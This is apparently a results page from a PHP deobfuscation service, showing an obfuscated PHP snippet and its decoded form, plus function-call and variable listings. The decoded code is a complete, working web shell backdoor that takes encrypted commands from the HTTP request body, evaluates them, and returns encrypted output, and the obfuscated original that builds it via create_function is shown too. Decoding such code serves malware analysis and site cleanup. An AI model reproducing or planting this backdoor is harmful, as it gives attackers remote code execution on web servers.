Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $Q=str_replace('Ic','','cIcrIceIcIcate_fuIcnIcction'); $e='p:/@I/inpu@I@It"),$m)..

Decoded Output download

$k="e10adc39";$kh="49ba59abbe56";$kf="e057f20f883e";$p="rd47zV2QkkrRIMbR";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code


<?php
$Q=str_replace('Ic','','cIcrIceIcIcate_fuIcnIcction');
$e='p:/@I/inpu@I@It"),$m)==1) {@I@ob_sta@Ir@It@I();@eva@Il(@gzuncompre@Iss(@I@x(@base@I@I64_dec@Iode(@I$m[1]),$k)))@I@I;@I';
$T='$k="@Ie10adc39";@I$kh="4@I9ba59a@Ibbe56"@I;$kf=@I"@Ie057f@I20f@I883e";$p=@I"@Ird47zV2QkkrR@IIMbR@I";funct@Iion x(@I$';
$J='$o=@ob_get_contents()@I@I;@ob_end@I_clean(@I);$r=@b@Iase64_enco@Ide(@@I@Ix(@g@Izcompress($o),$@Ik));p@Irint@I("$p$kh@I$r$kf");}';
$Y='I+){$o.=$t{$@Ii}^$@Ik{$j};}}r@Ietur@In $o@I;}if (@preg_@Imatc@Ih("/$kh(@I.+@I)$kf/",@f@Iile@I_get_c@Ionte@Ints("ph';
$u='t,@I$k){$c=strlen($k@I);$l=s@Itrl@Ien($t);@I$o=""@I;for($i=0;@I$i@I<$l;){fo@Ir($j=0;(@I$@Ij<$c&@I&$i@I<$l);$j++@I,$i+@';
$r=str_replace('@I','',$T.$u.$Y.$e.$J);
$I=$Q('',$r);$I();
?>

Function Calls

str_replace 2
create_function 1

Variables

$J $o=@ob_get_contents()@I@I;@ob_end@I_clean(@I);$r=@b@Iase64_e..
$Q create_function
$T $k="@Ie10adc39";@I$kh="4@I9ba59a@Ibbe56"@I;$kf=@I"@Ie057f@I2..
$Y I+){$o.=$t{$@Ii}^$@Ik{$j};}}r@Ietur@In $o@I;}if (@preg_@Imat..
$e p:/@I/inpu@I@It"),$m)==1) {@I@ob_sta@Ir@It@I();@eva@Il(@gzun..
$r $k="e10adc39";$kh="49ba59abbe56";$kf="e057f20f883e";$p="rd47..
$u t,@I$k){$c=strlen($k@I);$l=s@Itrl@Ien($t);@I$o=""@I;for($i=0..

Stats

MD5 20fc3d23b8bc9b8c899f8766ede75cfc
Eval Count 1
Decode Time 86 ms